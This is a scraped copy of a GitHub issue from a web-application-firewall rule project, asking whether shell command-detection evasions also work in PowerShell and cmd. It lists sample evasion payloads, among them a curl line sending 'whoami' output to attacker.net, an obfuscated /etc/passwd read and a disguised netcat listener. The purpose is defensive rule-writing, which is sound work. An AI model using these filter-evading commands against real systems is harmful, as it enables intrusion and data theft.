Check aliasing / empty variable evasions in PowerShell / cmd
See original GitHub issueIn https://github.com/coreruleset/coreruleset/issues/2632 we investigated evasions in *nix shells, where an empty variable can be used to evade command word detection. Find out, whether the same vulnerabilities exist in PowerShell / cmd and add protections as in https://github.com/coreruleset/coreruleset/issues/2632.
AFAICT from a quick test, PowerShell is not vulnerable to ec${doesnotexist}ho
.
Examples from https://github.com/coreruleset/coreruleset/issues/2632:
- using variables 1: a=curl&&b=whoami&&$a http://attacker.net/$b
- using variables 2: a=/etc&&b=/passwd&&c=cat&&$c $a$b
- globbing 1: {n$u\c$u,-nlvp,777}
- globbing 2: garb=cur[l];$garb+google.com
- vars + spacing: v=‘u’;cu$v\r\l google.com
- non-existing vars: cu$@rl
Issue Analytics
- State:
- Created a year ago
- Comments:5 (5 by maintainers)
Top Results From Across the Web
Get-Alias (Microsoft.PowerShell.Utility)
The Get-Alias cmdlet gets the aliases in the current session. This includes built-in aliases, aliases that you have set or imported, and aliases...
Read more >Fun with PowerShell Payload Execution and Evasion - Medium
In this article, we're going to learn how to use COM objects and PowerShell in Windows to execute shell commands with a couple...
Read more >PowerShell Obfuscation Detection Using Science - Black Hat
While these launch techniques do not evade PowerShell script block logging, they are challenging behaviours to detect through command-line logging alone.
Read more >How to find cmdlet aliases in PowerShell - freshman.tech
Aliases in PowerShell are alternate names given to commands. ... Alias cls -> Clear-Host Alias clv -> Clear-Variable Alias cnsn ...
Read more >Windows Environment variables - PowerShell - SS64.com
To list all the environment variables use: Get-Childitem env: (or just dir env:). Each environment variable is an object that can be retrieved...
Read more >Top Related Medium Post
No results found
Top Related StackOverflow Question
No results found
Troubleshoot Live Code
Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start FreeTop Related Reddit Thread
No results found
Top Related Hackernoon Post
No results found
Top Related Tweet
No results found
Top Related Dev.to Post
No results found
Top Related Hashnode Post
No results found
Top GitHub Comments
Yes. I just did a quick and dirty check, not a real review.
Hey @theseion ,what is needed here then? Review the expansions to the unix cmdline to see if we use the same for powershell?